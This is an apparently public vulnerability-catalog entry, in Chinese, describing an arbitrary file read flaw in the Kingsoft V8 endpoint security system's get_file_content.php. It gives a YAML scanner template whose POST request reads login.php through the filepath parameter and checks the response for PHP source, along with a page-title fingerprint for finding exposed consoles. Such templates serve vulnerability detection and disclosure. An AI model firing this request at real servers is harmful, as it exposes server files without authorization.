kingsoft-v8-get-file-content-file-read: 金山 V8 终端安全系统 get_file_content.php 任意文件读取漏洞

日期: 2025-09-01 | 影响软件: 金山V8 终端安全系统 | POC: 已公开

漏洞描述

金山 V8 终端安全系统 存在任意文件读取漏洞,攻击者可以通过漏洞下载服务器任意文件 title="在线安装-V8+终端安全系统Web控制台"

PoC代码[已公开]

id: kingsoft-v8-get-file-content-file-read

info:
  name: 金山 V8 终端安全系统 get_file_content.php 任意文件读取漏洞
  author: zan8in
  severity: high
  verified: false
  description: |
    金山 V8 终端安全系统 存在任意文件读取漏洞,攻击者可以通过漏洞下载服务器任意文件
    title="在线安装-V8+终端安全系统Web控制台"
  reference:
    - http://wiki.peiqi.tech/wiki/webapp/%E9%87%91%E5%B1%B1/%E9%87%91%E5%B1%B1%20V8%20%E7%BB%88%E7%AB%AF%E5%AE%89%E5%85%A8%E7%B3%BB%E7%BB%9F%20get_file_content.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.html

rules:
  r0:
    request:
      method: POST
      path: /receive_file/get_file_content.php
      body: filepath=login.php
    expression: response.status == 200 && response.body.bcontains(b'<?php') && response.body.bcontains(b'"public/common.php"') && response.body.bcontains(b'HTTP_ACCEPT_LANGUAGE')
expression: r0()